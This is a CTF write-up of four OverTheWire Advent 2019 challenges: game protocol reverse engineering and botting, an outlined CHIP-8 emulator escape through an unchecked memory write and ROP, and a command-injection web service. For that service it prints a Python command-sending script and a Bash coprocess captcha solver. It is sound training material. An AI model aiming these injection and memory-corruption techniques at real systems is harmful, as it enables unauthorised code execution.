1 OverTheWire Advent Bonanza 2019
2 ===============================
3 CTF write-up by Philipp Nowak (litplus, 11776858)
7 Challenges participated in:
9 * day-02: Summer ADVENTure `solved` - 20.75 hours
10 * day-23: Gr8 Escape `unsolved` - 0.75 hours
11 * day-24: Got shell? `solved` `web, linux` - 2.25 hours
12 * day-25: Lost in Maze `solved` `misc` - 16.00 hours
14 Total time spent: 39.75 hours + 8 hours for writeups ~> 48 hours total.
16 ### Personal Reflection
17 Since the guidelines require that the whole writeup be in a single file, this has been merged by a very sophisticated shell script. The source files for the individual challenges are located in the [`writeups/litplus/otw19`](/writeups/litplus/otw19) directory and match the RegEx `Adv-\d{2}.md`.
19 In general, this CTF was very fun and interesting to play! I originally planned to do more work before Christmas, but other courses sadly did not like this idea *at all*. However, Summer ADVENTure was very interesting, so I continued figuring our more and more things. In the end, it ended up eating most of my Christmas break nights, but I think that I learned a lot of new things. I was surprised that I was able to play such a major part in solving three of the challenges. Another great thing was that I got to play around writing non-trivial Python applications, which is something I had wanted to do for some time anyways.
21 Cooperation with other team members worked especially well with Suummer ADVENTure, but Gr8 Escape saw nearly zero interest, although this is understandable since the challenge seemed to require a lot of tedious reverse-engineering. I individually didn't feel like I had the correct skill set after taking a closer look.
24 Sadly, all the challenge servers, including the scoreboard with the challenge descriptions, were taken down before I got to write this. I did not anticipate this extent of take-down, and hence I don't have complete metadata on all challenges. This affects especially the original challenge description, number of solves, and detailed demonstration. Thankfully, I was able to save some screenshots from Summer ADVENTure and the Mattermost channels also had some resources.
26 Thankfully, the organisers released source code for all challenges [on GitHub](https://github.com/OverTheWireOrg/advent2019), however most challenges do not have further explanation.
30 day-02 Summer ADVENTure
31 -----------------------
32 OverTheWire Advent 2019, day 2
34 Discussion on [Mattermost](https://mattermost.w0y.at/otw-advent-2019/channels/day-02-summer-adventure)
36 Full exploit source code on [GitLab](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/tree/master/day-02)
38 Time spent for this challenge: 20.75hours + 4 hours write-up
40 * December 10: 3.0 hours (21:00-00:00)
41 * December 12: 3.0 hours (00:15-03:15)
42 * December 22: 2.0 hours (22:00-00:00)
43 * December 23: 6.5 hours (00:00-04:00, 17:00-19:30)
44 * December 24: 6.25 hours (00:30-05:30, 06:15-06:30, 13:40-14:10)
48 We are provided with a website that acts as client to a simple adventure game. Instructions on the site state that we do not have hardware access to client or server, the only exploitation path is by intercepting and manipulating network traffic. The server is running at TCP port 12021, and the client runs in some kind of emulator in the browser.
50 On the site, we can either connect to the genuine server, or connect to our own server. This works by connecting a TCP client to port 12022. The server then responds with a server id that we can enter in the browser to complete the connection.
52 It seems that this challenge wants to simulate protocol-only access, avoiding usual exploitation paths. The website also states some advice from the challenge author. It is advised not to touch the browser client, as it just streams HTML from a server that handles the actual connection. Further, no insane implementation choices were made, so exploitation should exclusively focus on the protocol.
54 To prevent excessive brute-force, the game disconnects after 1 MB of traffic (per side), and a 20-second colldown is enforced between logins. Also, accounts are deleted an hour after their last login.
57 The first thing we see after connecting to either server is a login screen. We can create an account by providing a username and password. The username has to be between 4 and 16 characters, the password between 4 and 256.
59 
61 After logging in, a map is presented. Movement is possible via WASD keys.
63 
65 Upon moving to the same square as a monster, a fight starts, where health points are deducted in rounds. Upon winning, the player gains EXP and coins. A health potion can afterwards be used to restore the player's health to the maximum. The maximum depends on the player's level, which is increased by gaining EXP.
67 
69 The weird entity above the player at the start is their stash. It allows to store excess items, which is helpful because inventory size is limited.
71 
73 The other entity inside of the fence is a salesperson. Upon approaching them, a shop GUI opens that allows to buy items for gold. For a huge amount of coins, a "Scroll of Secrets" is offered. This seems like the path to obtain the flag.
75 
78 **Note:** For brevity, full listings are omitted due to their complexity. Full exploit scripts are available in GitLab, linked above.
80 #### Basic protocol structure
81 `@mli` on Mattermost started looking at the protocol. They created a proxy and discovered that responses depend solely on the input (i.e. no reandomised cryptography). Newlines are sent in plain text, suggesting some kind of atomic unit, e.g. packets between them. They further discovered that there is some var-length string encoding involved -- changing the length of the password significantly also affects other bytes.
83 The next day, `@georg` implemented a basic MITM proxy to recover more information about the protocol. Upon analysis, he discovered that the initial 16 bytes that the server sends are used as XOR key, affecting the responses. However, this is not directly used as a key. As a consequence, he suggested using varying passwords to recover the actual key stream.
85 Six days later, I started working on the challenge. Every game message is preceded by another two-byte message, which we initially suspected to be some kind of packet id or key rotation mechanism.
87 I extended `@georg`'s server to store traces in a different format and wrote [a Python program](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/f4c3df3c62066b87ad2ee47ee48fd4a4908f07ba/day-02/crypt_test.py) to parse those.
89 What this program does is load connection traces stored by the MITM server and play with them. For this, [`common.py`](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/master/day-02/common.py) provides two models that are parsed from the binary/base64 data: `ConnectionTrace` and `TracePacket`. The former keeps trace of the current offset in the stream (crucial for the key schedule) and all packets of the trace. The latter represents a packet and provides operations to get different representations of the ciphertext.
91 After playing around with captured traces for some time, a pattern emerged: XOR'ing two traces yields the contents of the initial 16-byte message. I was confused for some time because I did not recognise the packet header to be part of the ciphertext. After including this, the pattern was clearly visible. Normally, with deterministic encryption, one would expect the XOR's of two packet traces to yield zero. Here, it becomes obvious that the 16-byte packet is a dynamic key used in the encryption and the rest is static.
93 Hence, we can obtain a consistent result by XOR'ing the binary stream with the dynamic key. I added this to the analysis program to recover the encoded message, as I thought at the time.
95 `@georg` however suggested that another key stream was XOR'ed to the encoded message, explaining why the encoding has no obvious correlation with the actual plaintext, even when using all A's as password. He was able to recover around 256 bytes of this *auxilliary key* by using known input, however some bytes were still off because of the unknown encoding. However, he was able to discover that the same key schedule is (independently) used for clientbound messages, recovering the promising plaintext `b'NB[\xd63\x1bInvalid password.'`.
97 After also adding this auxilliary key to the analysis script, it finally displayed plaintext (at least until the key ends). I also included this in the client directly to save the intermediate step, which made analysis easier. `@georg` suggested simply increasing the money in the join packet, which I tried. Some of the values from the UI are clearly reflected in the plaintext, including the amount of coins.
99 Changing the byte value however resulted in weird behaviour. When changing from `0x51` (81$) to `0xFF` resulted in $70 being displayed in the client. This hints at integer being encoded in the protocol. Further, changing other game properties that are reflected earlier in the binary stream shifts the location of the money byte. All this hints at some variable-length encoding of numbers.
101 We tried to reverse-engineer this encoding for some time. We also realised that we can't change the packet length -- this would desynchronise the client's key schedule from the server. A full MITM decryption was not feasible because we did not have enough key material to decrypt and therefore forge the whole join packet.
103 Utlimately, changing the money in the protocol did not work, because money is tracked server-side (as suggested by the challenge description). The server sends its state with every operation that affects coins, i.e. after fights and purchases.
105 Latery, `@georg` discovered that the number format corresponds to [a common VarInt format](https://en.wikipedia.org/wiki/Variable-length_quantity). `@Hetti` poked some sticks at the protocol to figure out where certain values are reflected. He also had the idea of executing the same action repetedly on the client to recover a longer auxilliary key stream. (This works because client and server use the same key but an independent schedule.)
107 Applying this to the client, I was able to recover around 4KB of key stream. I tried to replace some packets, namely the fight request. This however did not allow money gains, as only monsters actually present in the game are accepted by the server. Monster levels are related to player levels. There is always a monster with the same level present.
110 Looking for a VarInt decoder online, I stumbled upon one for [Google's protobuf libarary](https://developers.google.com/protocol-buffers/docs/encoding). It worked, but the important catch was protobuf, which is a framework to encode objects into binary streams -- exactly the kind of thing one would use to encode packets that are reused by both peers.
112 Using [the discovered online protobuf parser](https://protogen.marcgravell.com/decode), I was able to correlate the binary stream to model-level packets. For example, the join packet has a structure of:
117 * (1) varint: level 4
118 * (2) varint: exp 319
119 * (3) varint: exp-max 400
120 * (4) varint: weapon-strength 4
121 * (5) varint: health 280
122 * (6) varint: health-max 280
123 * (7) varint: coins 220
131 * (4) object, repeated:
134 * (2) object, repeated: ...
135 * (3) object, repeated: ...
136 * (3) object, repeated: ...
139 Now, the idea was to reverse-engineer the entire protocol and have our client connect to the server independently of a browser. With this and a long-enough auxilliary key, we could bot the game, obtain the required money, and buy the flag.
141 I recovered [most of the packet models](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/master/day-02/Packet_Format.md) Next up, we needed a longer XOR key so taht we can reliably bot the server without having to reconnect too often. `@Hetti` helped me realise that it's easy to bot a login failure. This doesn't require and setup and in the browser is only a button. To do this, I simply hid the error dialog using `display: none;` and was able to click the login button repeatedly. This recovered 39 KB of auxilliary key. For this, I used [a specialised MITM server](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/master/day-02/recover_aux_server.py).
143 I estimated that with this key, we would be able to do around 500 fights (with a 64 byte response) before exhaustion. Expecting constant reward of 10 coins, that results in 5000 coins per session -- including the timeouts, this was expected to take around 11 hours. What I did not think of here is that the size of the key file refers to base64 text, i.e. the actual key size is smaller.
145 Later that day, I was able to convert the packet information we obtained thus far [into protobuf model format](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/master/day-02/packets.proto). This can be compiled into Python models using the protobuf compiler. On Arch Linux, it can be installed using `pacman -S protobuf`. Then, running `protoc --python_out=. packets.proto` generates [the models](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/master/day-02/packets_pb2.py) in the current directory.
147 With this, the client now produced output of this readable form:
162 unknownHealRelated: 100000
171 The way packets are represented is by a huge meta-packet that has a field for every packet. Only the packet that is used is filled, all other fields are left unset.
173 Just adding the `Scroll of Secrets` to the client-side inventory did not do the trick though, since the "Use" operation is processed server-side. Using the scroll while in the shop inventory didn't work either, the server just disconnects.
175 Finally, the last puzzle piece for full botting was the packet header. This turned out to be the length of the body, but little-endian 🙄.
178 In [the initial state of the fight bot](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/a629482bb9547dbfb6364c09ca74f0505c8649eb/day-02/fake_fight_server.py) we were now able to forge a full fight and have the server respond. The next challenge was that we need to wait for the server response before sending the next request apparently. This significantly increases the time necessary, because the server takes ~400ms RTT to process the request. Also, due to the asynchronous nature of the client, this needed some architecture changes in the exploit.
180 The first thing I did here was to represent the player state, that is sent on join and after every fight, in a readable manner. This allows to see what the bot is doing. I also wrote some code to forge packets from models using protobuf and the key schedule information stored in `ConnectionTrace`.
182 The main logic of the bot is located in [`handle_response`](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/bc23a28eb375f676975b5f34196ddd67fdff79de/day-02/fake_fight_server.py#L95). This takes a packet from the server. If it has a message set, it is displayed (important because this is how the flag is sent).
184 After a join packet, the client analyses the player inventory to find the location of the health potion. This is necessary to recover to full health after a fight. Then, it starts a fight. This takes into account the player level. Through trial and error, it has surfaced that the highest monster that can be fought is the player level plus two. Also, rewards scale up with the monster level, which reduces the time required to get the scroll.
186 After receiving a fight response, we first check if it succeeded. If not, we use the health potion. Otherwise, we continue with the next one. For a use packet, we start a fight since we just had a health potion.
188 Later, I also added [a mechanism](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/master/day-02/fake_fight_server.py#L287) to initiate a new connection once the key is exhausted or the server disconnects.
190 Note that for this to work with higehr levels, at some point, stronger weapons need to be bought manually using the genuine server.
192 I later discovered that we can fight more efficiently by [setting both the fight and potion-use packets in a single request](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/master/day-02/fake_fight_server.py#L161). This reduces the amount of requests we need to send, which is a great deal beacause the main limiting factor on performance is the network RTT for every request (not the processing of packets). Conveniently, the server only includes the fight packet in the response in this case, which saves us some special handling.
194 
196 To estimate the amount of time required to bot the game, I used [a GeoGebra file](https://www.geogebra.org/graphing/tusewwdw) to find the relation of player/monster level to coin gain. Factoring in response times, cooldown times and level increase, I created a formula to estimate the time left. This revealed that a huge amount of cooldown time (5 hours) is caused by our short key.
198 Hence, I made an effort to recover a longer key. For this, I used the same mechanism as before, but additionally a small piece of JavaScript in Chrome DevTools to automate clicking the login button:
201 const loginButton = document.getElementsByClassName("login")[0];
202 window.setTimeout(100, () => loginButton.click());
205 This quickly yielded 200 MB of key stream, which helped reduce cooldown times significantly.
207 After some waiting, we reached the required 10 million coins:
210 * Level 1406 [20070/140600] 🗡️ 1406 [❤️ 4299/28320] 💰10021605 +💰432.
213 Connecting to the genuine server and buying the Scroll of Secrets yielded the following message:
216 Congratulations! Here is the server-side flag: _is_f0R_Th3_13373sT} The client-side flag is clearly written on a piece of paper that was lost by the shopkeeper some time ago. If only you could find it...
219 #### Client-side flag
220 While reversing the protocol, I noticed that item id 7 was not used. This seemed like the perfect use-case for that information. Indeed, [adding this item to the inventory](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/master/day-02/client-side-flag.py) caused the client to reveal its part of the flag in the item description:
224 A letter which reads: 'Here is the client side flag: AOTW{B14ckbOx_N3tw0rK_r3v
227 This completes the flag to: `AOTW{B14ckbOx_N3tw0rK_r3v_is_f0R_Th3_13373sT}`. Yay!
229 ### Intended Solution
230 As `@Hetti` revealed in Mattermost, the intended solution was to use an item duplication bug, as was done by SIGFLAG. `@Felix Kehrer` suspected such a bug, but we discarded this idea too fast.
232 The way this bug worked was that the server accepted a list of inventories as move target. So, the player was able to move a single item to two inventories at the same time, duplicating it. This can be repeated to obtain expensive items, which have a very large value margin, yielding funds for the flag quickly. I created a [Proof of Concept server](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/master/day-02/dupe_server.py#L117), which duplicates items reliably. Those can be sold in the real client, but I wasn't able to get it to work automatically (probably some dumb mistake). However, we already had the flag at this time, so I did not put in further effort.
234 Possibly related, in the [suggested solution](https://github.com/OverTheWireOrg/advent2019/tree/master/advent-challenges/2019-12-02_rev3/solution), the bug is described as moving from an inventory to itself.
236 Also, the constant auxilliary stream we assumed is not quite correct. The [actual implementation](https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-02_rev3/common/EncryptedStream.cs) uses AES in ECB mode. However, this amounts to the same behaviour as we assumed and is also the suggested solution.
243 OverTheWire Advent 2019, day 23
245 Statements on [Mattermost](https://mattermost.w0y.at/otw-advent-2019/channels/day-23-gr8-escape)
247 Time spent for this challenge: 0.75 hours + 2.5 hours write-up
249 * December 24: 0.75 hours (05:30-06:15)
252 For this binary challenge, the description contained one (1) funny comic related to the challenge. It seems that the elves created some kind of game in C++ that we need to reverse and extract the flag from.
254 
256 A TCP service was provided at `nc 3.93.128.89 1223`. Upon connecting, it shows a banner and presents a prompt:
258 
260 It is not clear how the game should continue from there on. Entering random strings does not seem to do anything. However, the 900 KB executable for the server is provided, so it seems that reverse-engineering is expected.
264 `@Bernhard Neumann` on Mattermost started looking at the challenge. He decompiled the game using the [Snowman](https://github.com/yegord/snowman/tree/v0.1.3) decompiler. This resulted in a 270k line C++ file, which is quite a lot to analyse with debug symbols stripped.
266 The first thing I did was try to input a lot of `A`s into the application. Sometimes, it did this:
268 
270 However, this was not always reproducible and also did not lead anywhere.
272 After downloading the Snowman decompiler from the AUR (`yay -S snowman`), I ran it. The decompiler presents a GUI. Upon import of the binary via `File -> Open`, it shows the assembly instructions on the left. After some time, it also presents decompiled C++ in the center and a context inspector (with variables, etc.) on the right.
274 The yielded a huge C++ file with huge unintelligible functions along the lines of this:
281 rsp4 = reinterpret_cast<void*>(reinterpret_cast<int64_t>(__zero_stack_offset()) - 8 - 8 - 8 - 8 - 8 - 8 - 0x198);
285 v8 = reinterpret_cast<void**>(reinterpret_cast<uint64_t>(rsp4) + 15 & 0xfffffffffffffff0);
286 if (!rsi || (r13_9 = rsi, rbx10 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(rsi)) & 0xfffffffffffffffe), rbx10 == 0)) {
288 *reinterpret_cast<int32_t*>(&rbx10) = 0;
289 *reinterpret_cast<int32_t*>(&rbx10 + 4) = 0;
293 *reinterpret_cast<int32_t*>(&r14_13) = 0;
294 *reinterpret_cast<int32_t*>(reinterpret_cast<int64_t>(&r14_13) + 4) = 0;
296 while (rsi15 = *reinterpret_cast<void***>(rax12), r12d16 = *reinterpret_cast<int32_t*>(&r14_13), rsp17 = reinterpret_cast<int64_t*>(reinterpret_cast<uint64_t>(rsp4) - 8), *rsp17 = 0x44d6b5, eax18 = reinterpret_cast<int32_t>(r15_11(v5, rsi15, rdx)), rsp4 = reinterpret_cast<void*>(rsp17 + 1), r10d19 = eax18, !!eax18) {
297 rbx20 = reinterpret_cast<void**>(r14_13 * 8);
298 if (v14 == *reinterpret_cast<int32_t*>(&r14_13)) {
303 To make matters more interesting, the program also includes numerous blocks of raw assembly instructions like this:
306 if (*reinterpret_cast<uint32_t*>(&rcx6) <= 48 && *reinterpret_cast<uint32_t*>(&rax7) <= 48) {
307 __asm__("movlpd xmm1, [rdi]");
308 __asm__("movlpd xmm2, [rsi]");
309 __asm__("movhpd xmm1, [rdi+0x8]");
310 __asm__("movhpd xmm2, [rsi+0x8]");
311 __asm__("pxor xmm0, xmm0");
312 __asm__("pcmpeqb xmm0, xmm1");
313 __asm__("pcmpeqb xmm1, xmm2");
314 __asm__("psubb xmm1, xmm0");
315 __asm__("pmovmskb edx, xmm1");
316 if (*reinterpret_cast<int32_t*>(&rdx) - 0xffff)
323 Obviously, this would be very tedious to analyse. I started to take a look anyways. What I wanted to do is analyse the control flow to figure out if I can spot any patterns and reconstruct the business logic. The first thing to look at was the entry point for the application. However, the program does not include a function `main` (the name was probably changed). Also, there is no function taking `char**` and `unit32_t` as arguments, as one would expect from a main function.
325 So the next viable path was to identify the location via the outputs. The game outputs "game:" at the beginning, which I searched for in the code. Indeed, this is used in the speakingly-named `fun_40208d(rdi, rsi, rdx, rcx, r8, r9, a7)` around line 4100:
328 uint32_t fun_40208d(void** rdi, void** rsi, void** rdx, void** rcx, void** r8, void** r9, int64_t a7) {
337 rax8 = fun_421e80(0x1000);
340 fun_4117a0("game: ", rsi, rdx, rcx, r8, r9);
341 rax10 = fun_44bf60(0, v9, 0xe00, rcx, r8);
342 v11 = *reinterpret_cast<int32_t*>(&rax10);
347 ecx13 = *reinterpret_cast<unsigned char*>(reinterpret_cast<unsigned char>(v9) + reinterpret_cast<uint64_t>(static_cast<int64_t>(v12)));
348 *reinterpret_cast<signed char*>(v12 + 0x200 + 0x6dbd4a) = *reinterpret_cast<signed char*>(&ecx13);
365 From the different return values in `eax14`, it seems that this function somehow decides if a game should be started. If we knew where these variables come from, it could be possible to influence them and cause a game to start.
367 The string constant is passed to `fun_4117a0`, a 700-line function containing various assembly instructions, deeply nested if statements and around 100 variables -- too much to exhaustively analyse manually.
369 Another interesting call is to `fun_44bf60`. which is assigned to `rax10`, which is then cast to yield `v11`. If this is greater than zero and `v11` is less than `0xE00`, the function returns `1`. Hence, this could be interesting to influence the result. However, the function just executes a syscall, with arguments probably prepared in registers from elsewhere.
371 This didn't seem like a job for somebody that has never written C++, and other challenges seemed more promising, so I quit working on this challenge at that point. nobody else ever mentioned it again.
373 ### Intended solution
374 The challenge files were published [on GitHub](https://github.com/OverTheWireOrg/advent2019/tree/master/advent-challenges/2019-12-23_gr8_escape) after the contest. The application was run in Docker using `inetd`. After the fact, I took a look at the source code to recover the intended solution. The results of this are described in this section.
376 The [actual C code for the challenge](https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-23_gr8_escape/src/gr8_escape.c) was only 720 lines. It seems that the remaining functions were from statically-linked libraries. The function we found above, [`bool load()`](https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-23_gr8_escape/src/gr8_escape.c#L536) actually just read from STDIN into an array. If nothing was read or more than `0xE00` bytes were read, the game exits. Also, the input was stored in the `cpu` array.
378 Judging from the [`void cycle()`](https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-23_gr8_escape/src/gr8_escape.c#L153) function in the source, the game seems to simulate a CPU that is controllable via keyboard instructions.
380 The `cpu` struct contains a `debug` function pointer, that can be [executed](https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-23_gr8_escape/src/gr8_escape.c#L518) after each screen draw by sending a [special instruction](https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-23_gr8_escape/src/gr8_escape.c#L482), `0x75`. This pointer is initially set to [`debug_registers`](https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-23_gr8_escape/src/gr8_escape.c#L590), which shows the current state of the CPU registers.
382 From [`int main(int argc, char *argv[])`](https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-23_gr8_escape/src/gr8_escape.c#L706), we obtain that the game loops indefinitely. After input keys are read and stored into the `cpu.k` array, the CPU executes for ten cycles and, if requested, the GPU draws. Then, it sleeps for some time and reads the next instruction.
384 Also, the [wrapper script](https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-23_gr8_escape/files/redir.sh) causes execution to time out after 6 minutes.
386 A [`highscore`](https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-23_gr8_escape/src/gr8_escape.c#L579) function is provided that has a buffer overflow on the `name` variable, which has 10 characters allocated, but no bounds checks are done while reading. The intended solution is probably to invoke this buffer overflow and do something along the lines of ROP to get arbitrary code execution and read the flag. However, this function is never explicitly called in the code. The CPU instructions also don't invoke any explicit function pointers.
388 The only dynamic pointer invocation in the program is the debug pointer from the CPU struct. The different CPU instruction provide ways to write to different locations there. Probably one of these has an out-of-bounds write that allows to overwrite the debug pointer with the address of the `highscore` function. This is then called after drawing, yielding arbitrary code execution via ROP. For the 900 KB binary, it seems likely that some useful ROP gadgets would be avilable.
390 Another weird concept of the game is that a [ROM for Space Inveaders](https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-23_gr8_escape/roms/space.invaders.ch8) is provided. However, this is not explicitly loaded anywhere. It is possible that this is just an example for what can be done with this CPU. The "game" input from the start is just written to the CPU memory `cpu.m`, and this includes a bounds check.
392 The `cpu.m` array is only ever indexed from `cpu.i` variable (i.e. this seems to be the memory address register). This can be set via the [`0xa` operation](https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-23_gr8_escape/src/gr8_escape.c#L337). The CPU operation is determined [by the first nibble of the program bytes](https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-23_gr8_escape/src/gr8_escape.c#L159), which is then switched on.
394 CPU instructions: (retrieved from [this `switch`](https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-23_gr8_escape/src/gr8_escape.c#L159))
397 * `0x0-00`: SYS -- does nothing
398 * `0x0-E0`: CLS -- clear screen and draw
399 * `0x0-EE`: RET -- decrement stack pointer, jump to previous location.
400 * `0x1***`: JP -- set program counter to `***`.
401 * `0x2***`: CALL -- push current address to stack, jump to `***`
402 * `0x3*~~`: SE -- if `cpu.v[*]` is `~~`, `pc+=4`, otherwise `pc+=2` (conditional)
403 * `0x4*~~`: SNE -- same as SE but with not-equal
404 * `0x5*~-`: SE -- compares `cpu.v[*]` to `cpu.v[~]`, otherwise like SE
405 * `0x6*~~`: LD -- loads constant `~~` to `cpu.v[*]`
406 * `0x7*~~`: ADD -- Adds `~~` to `cpu.v[*]`, overflow bit in `cpu.v[F]`.
407 * `0x8---`: register operations
408 * `0x8*~0`: LD -- from `cpu.v[~]` into `cpu.v[*]`
409 * `0x8*~1`: OR -- `cpu.v[~]` into `cpu.v[*]`
410 * `0x8*~2`: AND -- `cpu.v[~]` into `cpu.v[*]`
411 * `0x8*~3`: XOR -- `cpu.v[~]` into `cpu.v[*]`
412 * `0x8*~4`: ADD -- `cpu.v[~]` into `cpu.v[*]`, overflow bit in `cpu.v[F]`
413 * `0x8*~5`: SUB -- `cpu.v[~]` into `cpu.v[*]`, underflow bit in `cpu.v[F]`
414 * `0x8*-6`: SHR -- shift `cpu.v[*]` right, underflow bit in `cpu.v[F]`
415 * `0x8*~7`: SUBN -- subtract `cpu.v[*]` from `cpu.v[~]` into `cpu.v[*]`, overflow bit in `cpu.v[F]`
416 * `0x8*-8`: SHL -- shift `cpu.v[*]` left, overflow bit in `cpu.v[F]`
417 * `0x9*~-`: SNE -- with two registers
418 * `0xA***`: LD -- load `***` into memory address register
419 * `0xB***`: JP -- set program counter to `***` plus `cpu.v[0]`
420 * `0xC*~~`: RND -- generate random number, and with `~~`, and load the result into `cpu.v[*]`
421 * `0xD*~#`: DRW -- draw `#` lines (width 8) onto the screen at `(cpu.v[*], cpu.v[~])`, reading pixels from memory relative to the memory access register, starting at its address and increasing by one for each line. Drawing works by XOR'ing in the graphics buffer, i.e. toggling pixels. `cpu.v[F]` stores if any pixel was turned off.
423 * `0xE*9E`: SKP -- if a key was pressed at time `cpu.v[*]`, jump over the next instruction
424 * `0xE*A1`: SKNP -- like SKP, but negated
426 * `0xF*07`: LD -- load DT into `cpu.v[*]`
427 * `0xF-0A`: LD -- jump over as many instructions as keys were pressed.
428 * `0xF*15`: LD -- load `cpu.v[*]` into DT
429 * `0xF*18`: LD -- load `cpu.v[*]` into ST
430 * `0xF*1E`: ADD -- Increment memory address register by `cpu.v[*]`
431 * `0xF*29`: LD -- load `cpu.v[*] * 5` into memory address register
432 * `0xF*33`: LD -- divide `cpu.v[*]` by 100. Load the result into the memory address. The next address has the remainder divided by 10, and the address after that gets the remainder of division by 10.
433 * `0xF*55`: LD -- Vector memory write. Read from all registers up to `*` and write the results starting at the address stored in the memory address register. (**No bound checks**)
434 * `0xF*65`: LD -- Vector memory read. Read starting at the address stored in the memory address register, and write into the registers up to `*`.
435 * `0xF-75`: Activate debug flag, i.e. call debug function pointer after draw
438 From this, it becomes obvious that this is a 16-bit CPU. `cpu.v` represents 16 registers and `cpu.m` is the main memory with size `0x1000`.
440 Hence, it seems that the full intended exploit is:
442 * Fill the registers with the address of `highscore()`.
443 * Use `0xF*55` (Vector memory write) to overwrite the debug function pointer with the registers' contents.
444 * Use `0xF-75` to enable debug mode.
445 * Clear the screen to force drawing using the `0x0-E0` instruction.
446 * Debug function executes, calling `highscore()`. We have now exited the virtual CPU.
447 * Use a ROP syscall with the name input to read the flag from the `flag` file.
449 It seems that (a) it is a good thing I quit trying, because I would never have figured all that out in this little time and (b) when decompiling C using Snowman, the resulting code hides the actual program's functionality by being too complicated (compiler optimisations) and including statically linked libraries.
451 Also, the C++ hint from the comic in the challenge description was misleading.
457 OverTheWire Advent 2019, day 24
459 Discussion in [Mattermost](https://mattermost.w0y.at/otw-advent-2019/channels/day-24-got-shell)
461 Time spent for this challenge: 2.25 hours + 0.5 hours write-up
463 * December 24: 2.25 hours (13:30-15:45)
468 Got shell? - web, linux
471 Can you get a shell? NOTE: The firewall does not allow outgoing traffic & There are no additional paths on the website.
472 Service: http://3.93.128.89:1224
476 Accessing the website shows some C++ code:
479 #include "crow_all.h"
488 std::string exec(const char* cmd) {
489 std::array<char, 128> buffer;
491 std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd, "r"), pclose);
493 return std::string("Error");
495 while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) {
496 result += buffer.data();
503 app.loglevel(crow::LogLevel::Warning);
506 ([](const crow::request& req) {
507 std::ostringstream os;
508 if(req.url_params.get("cmd") != nullptr){
509 os << exec(req.url_params.get("cmd"));
511 os << exec("cat ./source.html");
513 return crow::response{os.str()};
516 app.port(1224).multithreaded().run();
520 From this, we see that the app uses the [CROW](https://github.com/ipkn/crow) framework for web handling, which is inspired by Python's Flask. From the code, we see that, normally, the website prints the source code. However, if the `cmd` query parameter is provided, it runs this command directly without validation.
523 Passing `ls -hla` reveals:
527 drwxr-xr-x 1 root root 4.0K Dec 24 11:56 .
528 drwxr-xr-x 1 root root 4.0K Dec 24 11:56 ..
529 ----r----- 1 root gotshell 38 Dec 24 08:32 flag
530 ------s--x 1 root gotshell 18K Dec 5 17:26 flag_reader
531 -rw-rw-r-- 1 root root 11K Dec 24 08:32 source.html
534 So, the `flag_reader` binary can access the flag, but we cannot do that directly.
536 To make command execution easier, I developed a small Python script:
539 #!/usr/bin/env python3
544 print(" > ", end="", flush=True)
546 print(" ... ", end="\r", flush=True)
547 payload = { 'cmd': command }
548 req = requests.get("http://3.93.128.89:1224/", params=payload, timeout=2)
556 uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
559 1411293829 + 1732747376 = Incorrect captcha :(
561 Linux d2474e4d718f 4.15.0-1051-aws #53-Ubuntu SMP Wed Sep 18 13:35:53 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
564 The challenge here is that `flag_reader` generates the captcha dynamically and only prints the flag if the response is correct -- However, we do not have access to STDIN. Python is not present on the host. `@stiefel40k` tried to write a Perl script, while I took a go at a Bash script to achieve the same.
566 I started by using [awk](https://www.gnu.org/software/gawk/manual/html_node/Arithmetic-Ops.html) to do the arithmetic operation, thinking that this would be easy. Quickly, I had a payload:
569 ./flag_reader | tail -n 1 | awk '{ sum = $1 + $3 ; \n print sum }'
572 However, this just prints to STDOUT, we need to pass it to a program earlier in the pipe.
574 In the meantime, `@stiefel40k` had developed a local simulation of the flag reader:
583 echo -n "$R1 + $R2 = "
587 if [[ $SUM -ne $VAL ]]
596 To be able to dynamically write to the flag reader depending on its output, I used [a little-known feature of Bash](https://www.gnu.org/software/bash/manual/html_node/Coprocesses.html), coprocesses. These StackOverflow questions helped with this: [1](https://stackoverflow.com/questions/5129276/how-to-redirect-stdout-of-2nd-process-back-to-stdin-of-1st-process), [2](https://stackoverflow.com/questions/7689100/bash-coproc-unexpected-behavior).
604 #awk '{ sum = $1 + $3 ;
605 # print sum }' <&${p1[0]} >&${p1[1]}
609 read -d "=" captcha <&${p1[0]}
610 solution=$(echo $captcha | awk '{ sum = $1 + $3 ;
612 echo "hey solute $solution"
613 echo "$solution" >&${p1[1]}
